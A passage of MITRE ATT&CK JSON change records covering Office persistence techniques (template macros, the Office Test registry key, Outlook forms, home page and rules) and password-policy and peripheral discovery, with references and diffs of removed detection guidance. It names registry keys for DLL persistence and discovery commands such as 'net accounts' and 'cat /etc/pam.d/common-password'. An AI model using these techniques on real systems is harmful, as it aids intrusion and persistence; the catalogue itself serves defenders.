"url": "https://attack.mitre.org/techniques/T1137/001",
"external_id": "T1137.001"
},
{
"source_name": "MSDN VBA in Office",
"description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
"url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
},
{
"source_name": "Hexacorn Office Template Macros",
"description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
"url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
},
{
"source_name": "Microsoft Change Normal Template",
"description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
"url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
},
{
"source_name": "enigma0x3 normal.dotm",
"description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
"url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
},
{
"source_name": "CrowdStrike Outlook Forms",
"description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
"url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
},
{
"source_name": "GlobalDotName Jun 2019",
"description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
"url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
},
{
"source_name": "Outlook Today Home Page",
"description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
"url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.432000+00:00\", \"old_value\": \"2025-04-15 22:54:50.299000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0519: Detect Persistence via Office Template Macro Injection or Registry Hijack"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-07 19:44:04.475000+00:00",
"modified": "2025-10-24 17:49:34.588000+00:00",
"name": "Office Test",
"description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/002",
"external_id": "T1137.002"
},
{
"source_name": "Palo Alto Office Test Sofacy",
"description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
"url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
},
{
"source_name": "Hexacorn Office Test",
"description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
"url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Command: Command Execution\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.588000+00:00\", \"old_value\": \"2025-04-15 22:55:04.029000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\\n\\nConsider monitoring Office processes for anomalous DLL loads.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\\n-\\n-Consider monitoring Office processes for anomalous DLL loads.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0315: Detect Persistence via Office Test Registry DLL Injection"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-07 20:06:02.624000+00:00",
"modified": "2025-10-24 17:49:12.562000+00:00",
"name": "Outlook Forms",
"description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/003",
"external_id": "T1137.003"
},
{
"source_name": "Microsoft Detect Outlook Forms",
"description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
"url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
},
{
"source_name": "SensePost NotRuler",
"description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
"url": "https://github.com/sensepost/notruler"
},
{
"source_name": "SensePost Outlook Forms",
"description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.",
"url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.562000+00:00\", \"old_value\": \"2025-04-15 22:55:18.800000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0029: Detect Persistence via Outlook Custom Forms Triggered by Malicious Email"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-07 20:09:56.536000+00:00",
"modified": "2025-10-24 17:49:18.872000+00:00",
"name": "Outlook Home Page",
"description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/004",
"external_id": "T1137.004"
},
{
"source_name": "Microsoft Detect Outlook Forms",
"description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
"url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
},
{
"source_name": "SensePost NotRuler",
"description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
"url": "https://github.com/sensepost/notruler"
},
{
"source_name": "SensePost Outlook Home Page",
"description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.",
"url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.872000+00:00\", \"old_value\": \"2025-04-15 22:55:34.415000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0177: Detect Persistence via Outlook Home Page Exploitation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-11-07 20:00:25.560000+00:00",
"modified": "2025-10-24 17:48:41.026000+00:00",
"name": "Outlook Rules",
"description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/005",
"external_id": "T1137.005"
},
{
"source_name": "Pfammatter - Hidden Inbox Rules",
"description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
"url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
},
{
"source_name": "Microsoft Detect Outlook Forms",
"description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
"url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
},
{
"source_name": "SilentBreak Outlook Rules",
"description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.",
"url": "https://silentbreaksecurity.com/malicious-outlook-rules/"
},
{
"source_name": "SensePost NotRuler",
"description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
"url": "https://github.com/sensepost/notruler"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Microsoft Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Office Suite"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Application Log: Application Log Content\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.026000+00:00\", \"old_value\": \"2025-04-15 22:55:47.125000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n-\\n-Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0095: Detect Persistence via Malicious Outlook Rules"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:15.781000+00:00",
"name": "Password Policy Discovery",
"description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1201",
"external_id": "T1201"
},
{
"source_name": "AWS GetPasswordPolicy",
"description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.",
"url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"
},
{
"source_name": "Jamf User Password Policies",
"description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.",
"url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
},
{
"source_name": "Superuser Linux Password Policies",
"description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.",
"url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Regina Elwell",
"Sudhanshu Chauhan, @Sudhanshu_C",
"Isif Ibrahima, Mandiant",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS",
"IaaS",
"Network Devices",
"Identity Provider",
"SaaS",
"Office Suite"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Metadata\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.781000+00:00\", \"old_value\": \"2025-04-15 19:59:00.168000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1027: Password Policies"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Metadata)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0161: Password Policy Discovery \u2013 cross-platform behavior-chain analytics"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:28.471000+00:00",
"modified": "2025-10-24 17:48:37.563000+00:00",
"name": "Peripheral Device Discovery",
"description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1120",
"external_id": "T1120"
},
{
"source_name": "Peripheral Discovery Linux",
"description": "Shahriar Shovon. (2018, March). List USB Devices Linux. Retrieved March 11, 2022.",
"url": "https://linuxhint.com/list-usb-devices-linux/"
},
{
"source_name": "Peripheral Discovery macOS",
"description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022.",
"url": "https://ss64.com/osx/system_profiler.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.563000+00:00\", \"old_value\": \"2025-04-25 15:15:22.038000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0491: Peripheral Device Enumeration via System Utilities and API Calls"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:55.471000+00:00",
"modified": "2025-10-24 17:48:26.378000+00:00",
"name": "Permission Groups Discovery",
